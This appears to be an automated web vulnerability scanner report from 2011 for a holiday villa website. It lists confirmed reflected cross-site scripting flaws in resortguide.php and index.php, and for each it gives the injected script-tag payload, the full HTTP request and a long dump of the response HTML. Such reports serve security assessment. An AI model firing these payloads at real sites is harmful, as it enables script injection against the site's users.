onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif" alt=" Portuguese " />Portugal</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Alentejo villas" title=" in Alentejo"> Luxury Alentejo </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Algarve villas" title=" in Algarve"> Luxury Algarve </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Verde villas" title=" in Costa Verde"> Luxury Costa Verde </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lagos villas" title=" in Lagos"> Luxury Lagos </h2></a></li><li><h2><a onMouseO..

- /resortguide.php

/resortguide.php CONFIRMED

http://theholidaygroup.com/resortguide.php?rid=542&img='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3..

Parameters

Parameter	Type	Value
rid	GET	542
img	GET	'"--></style></script><script>alert(0x000487)</script>

Request

GET /resortguide.php?rid=542&img='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000487)%3C/script%3E HTTP/1.1
Referer: http://theholidaygroup.com/luxury%20holidays/Altinkum%20villas
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=7oca3ug5cjvuvhlaogl7kuerrjdabb7u
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:12:01 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 10985
Content-Type: text/html

<html><head> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script> <title>theholidaygroup.com | Luxury Altinkum Villas</title><style type="text/css">body { /*scrollbar-3d-light-color : #274083; scrollbar-arrow-color : #000000; scrollbar-base-color : #274083; scrollbar-dark-shadow-color : #000000; scrollbar-face-color : #274083; scrollbar-highlight-color : #c0c0c0; scrollbar-shadow-color : #000000;*/ scrollbar-3d-light-color : #00a0dd; scrollbar-arrow-color : #ffffff; scrollbar-base-color : #00a0dd; scrollbar-dark-shadow-color : Navy; scrollbar-face-color : #00a0dd; scrollbar-highlight-color : Navy; scrollbar-shadow-color : Navy; background-image: url("/images/gradient.jpg"); background-repeat: repeat-x; }h1 { font-family: arial; font-size: 20px; color: white; }h3 { font-family: arial; font-size: 11px; color: white; display: block; margin: 0px; padding: 0px; }td { font-family: arial; font-size: 15px; color: white; }p.imagecol, a.imagecol, a.imagecol:visited { font-family: arial; font-size: 13px; color: yellow; margin-top:0px; margin-bottom:15px; }select.tidy { color: #ffffff; background-color: #274083; font-size: 11px; width:180px; margin:0 0 20 0; }input.tidy { font-size: 11px; width:120px; color: #000000; background-color: #274083; font-weight:bold; margin:0 0 10 0; display: block; }form.tidy { display: inline; margin: 0px; padding: 0px; }a.management, a.management:visited { font-family: arial; font-size: 11px; text-decoration: none; color: red; margin:0px; }</style><script language="JavaScript" src="/villas.js"></script></head><body bgcolor="#000066" link="#000000" vlink="#000000" alink="#000000" topmargin="0" leftmargin="0"><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#000066;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#000066; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #000066; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#000066; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#000066; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#01003A" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/luxury_logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#ffffff" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#ffffff; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/luxury_theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#000066"> <ul class="menu" id="nav" style="width:780px; background-color:#000066;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif&q..

- /index.php

/index.php CONFIRMED

http://theholidaygroup.com/index.php

Parameters

Parameter	Type	Value
idsearch	POST	'"--></style></script><script>alert(0x0017E8)</script>
search	POST	Search

Request

POST /index.php HTTP/1.1
Referer: http://theholidaygroup.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: theholidaygroup.com
Cookie: PHPSESSID=l6iaj5i41suet2oa84b9le98s7evm3sb
Content-Length: 108
Accept-Encoding: gzip, deflate

idsearch='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0017E8)%3c%2fscript%3e&search=Search

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:18:23 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 18483
Content-Type: text/html

<title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><link rel="stylesheet" type="text/css" href="netawayfiles/stylesheet.css" /><script type="text/javascript" src="netawayfiles/jc.js"></script><script type="text/javascript">//This function is called when the country dropdown on the search bit is changed, if the selected item is show all, it will change the value in the resort to show all the resorts, otherwise, only those within the selected countryfunction dothelist(theform, countryid){ if (countryid=="%") fillList(theform.listresort, resort_array, '', ''); else fillList(theform.listresort, resort_array, '', countryid);}function bookmark(){ if(navigator.appName == 'Microsoft Internet Explorer' && parseInt(navigator.appVersion) >= 4) { window.external.AddFavorite('http://www.villavillas.com/', 'Villa Villas - Call +44 (0)1202 961300'); }}</script><style type="text/css">a.blick, a.blick:visited, a.blick:hover { color: black; text-decoration: none; cursor: hand; }body { scrollbar-3d-light-color : #00a0dd; scrollbar-arrow-color : #ffffff; scrollbar-base-color : #00a0dd; scrollbar-dark-shadow-color : Navy; scrollbar-face-color : #00a0dd; scrollbar-highlight-color : Navy; scrollbar-shadow-color : Navy;}</style></head><body><script type="text/javascript">country_array = new Array();resort_array = new Array();temparray = new Array(57, "");country_array[0]=temparray;temparray = new Array(11, "America");country_array[1]=temparray;temparray = new Array(30, "Australia");country_array[2]=temparray;temparray = new Array(43, "Austria");country_array[3]=temparray;temparray = new Array(51, "Bahrain");country_array[4]=temparray;temparray = new Array(38, "Bulgaria");country_array[5]=temparray;temparray = new Array(36, "Canada");country_array[6]=temparray;temparray = new Array(12, "Caribbean");country_array[7]=temparray;temparray = new Array(27, "China");country_array[8]=temparray;temparray = new Array(45, "Croatia");country_array[9]=temparray;temparray = new Array(25, "Cyclades Islands");country_array[10]=temparray;temparray = new Array(3, "Cyprus");country_array[11]=temparray;temparray = new Array(42, "Cyprus");country_array[12]=temparray;temparray = new Array(52, "Egypt");country_array[13]=temparray;temparray = new Array(55, "Espana");country_array[14]=temparray;temparray = new Array(5, "France");country_array[15]=temparray;temparray = new Array(16, "Greece");country_array[16]=temparray;temparray = new Array(60, "Hawaii");country_array[17]=temparray;temparray = new Array(24, "Ibiza");country_array[18]=temparray;temparray = new Array(28, "Indonesia");country_array[19]=temparray;temparray = new Array(58, "Ireland");country_array[20]=temparray;temparray = new Array(6, "Italy");country_array[21]=temparray;temparray = new Array(23, "Kenya");country_array[22]=temparray;temparray = new Array(33, "Latin America");country_array[23]=temparray;temparray = new Array(41, "Majorca");country_array[24]=temparray;temparray = new Array(50, "Malaysia");country_array[25]=temparray;temparray = new Array(10, "Malta");country_array[26]=temparray;temparray = new Array(20, "Mauritius");country_array[27]=temparray;temparray = new Array(19, "Mediterranean");country_array[28]=temparray;temparray = new Array(46, "Menorca");country_array[29]=temparray;temparray = new Array(37, "Mexico");country_array[30]=temparray;temparray = new Array(34, "Middle East");country_array[31]=temparray;temparray = new Array(39, "Morocco");country_array[32]=temparray;temparray = new Array(32, "New Zealand");country_array[33]=temparray;temparray = new Array(31, "Oceania");country_array[34]=temparray;temparray = new Array(59, "Oman");country_array[35]=temparray;temparray = new Array(56, "Panama");country_array[36]=temparray;temparray = new Array(1, "Portugal");country_array[37]=temparray;temparray = new Array(22, "Seychelles");country_array[38]=temparray;temparray = new Array(21, "South Africa");country_array[39]=temparray;temparray = new Array(35, "South America");country_array[40]=temparray;temparray = new Array(13, "Spain");country_array[41]=temparray;temparray = new Array(49, "Sri Lanka");country_array[42]=temparray;temparray = new Array(48, "Switzerland");country_array[43]=temparray;temparray = new Array(29, "Thailand");country_array[44]=temparray;temparray = new Array(47, "The Czech Republic");country_array[45]=temparray;temparray = new Array(18, "Turkey");country_array[46]=temparray;temparray = new Array(53, "UK");country_array[47]=temparray;temparray = new Array(44, "United Arab Emirates");country_array[48]=temparray;temparray = new Array(54, "Valencia");country_array[49]=temparray;temparray = new Array(300, "Abruzzo", 6);resort_array[0]=temparray;temparray = new Array(612, "Akyaka", 18);resort_array[1]=temparray;temparray = new Array(288, "Alanya", 18);resort_array[2]=temparray;temparray = new Array(519, "Albarella Island", 6);resort_array[3]=temparray;temparray = new Array(536, "Alentejo", 1);resort_array[4]=temparray;temparray = new Array(74, "Algarve", 1);resort_array[5]=temparray;temparray = new Array(563, "Almeria", 13);resort_array[6]=temparray;temparray = new Array(65, "Alonissos", 16);resort_array[7]=temparray;temparray = new Array(493, "Alsace/ Vosges", 5);resort_array[8]=temparray;temparray = new Array(542, "Altinkum", 18);resort_array[9]=temparray;temparray = new Array(227, "Amalfi Coast", 6);resort_array[10]=temparray;temparray = new Array(21, "Andalucia", 13);resort_array[11]=temparray;temparray = new Array(265, "Anguilla", 12);resort_array[12]=temparray;temparray = new Array(608, "Antalya", 18);resort_array[13]=temparray;temparray = new Array(266, "Antigua", 12);resort_array[14]=temparray;temparray = new Array(487, "Antipaxos", 16);resort_array[15]=temparray;temparray = new Array(81, "Aquitaine", 5);resort_array[16]=temparray;temparray = new Array(494, "Ardeche", 5);resort_array[17]=temparray;temparray = new Array(561, "Athenian Riviera ", 16);resort_array[18]=temparray;temparray = new Array(295, "Athens Area", 16);resort_array[19]=temparray;temparray = new Array(567, "Auvergne", 5);resort_array[20]=temparray;temparray = new Array(170, "Bahamas", 12);resort_array[21]=temparray;temparray = new Array(534, "Bahrain", 51);resort_array[22]=temparray;temparray = new Array(156, "Bali", 28);resort_array[23]=temparray;temparray = new Array(171, "Barbados", 12);resort_array[24]=temparray;temparray = new Array(576, "Barcelona ", 13);resort_array[25]=temparray;temparray = new Array(304, "Basilicata", 6);resort_array[26]=temparray;temparray = new Array(500, "Basque and Pyrenees", 5);resort_array[27]=temparray;temparray = new Array(560, "Bath", 53);resort_array[28]=temparray;temparray = new Array(263, "Biarritz and the Atlantic coast", 5);resort_array[29]=temparray;temparray = new Array(47, "Bodrum", 18);resort_array[30]=temparray;temparray = new Array(603, "Borneo", 50);resort_array[31]=temparray;temparray = new Array(505, "Brazil", 35);resort_array[32]=temparray;temparray = new Array(278, "British Virgin Islands", 12);resort_array[33]=temparray;temparray = new Array(84, "Brittany", 5);resort_array[34]=temparray;temparray = new Array(495, "Burgandy/Avergne region", 5);resort_array[35]=temparray;temparray = new Array(642, "California", 11);resort_array[36]=temparray;temparray = new Array(579, "Camps Bay", 21);resort_array[37]=temparray;temparray = new Array(626, "Cape Town", 21);resort_array[38]=temparray;temparray = new Array(551, "Capri", 6);resort_array[39]=temparray;temparray = new Array(503, "Catalonia", 13);resort_array[40]=temparray;temparray = new Array(625, "Chiang Mai ", 29);resort_array[41]=temparray;temparray = new Array(504, "Cilento Coast", 6);resort_array[42]=temparray;temparray = new Array(592, "Corfu (East)", 16);resort_array[43]=temparray;temparray = new Array(591, "Corfu (North)", 16);resort_array[44]=temparray;temparray = new Array(593, "Corfu (West)", 16);resort_array[45]=temparray;temparray = new Array(554, "Cornwall", 53);resort_array[46]=temparray;temparray = new Array(585, "Corsica (North)", 5);resort_array[47]=temparray;temparray = new Array(586, "Corsica (South)", 5);resort_array[48]=temparray;temparray = new Array(16, "Costa Blanca", 13);resort_array[49]=temparray;temparray = new Array(117, "Costa Brava", 13);resort_array[50]=temparray;temparray = new Array(577, "Costa Calida", 13);resort_array[51]=temparray;temparray 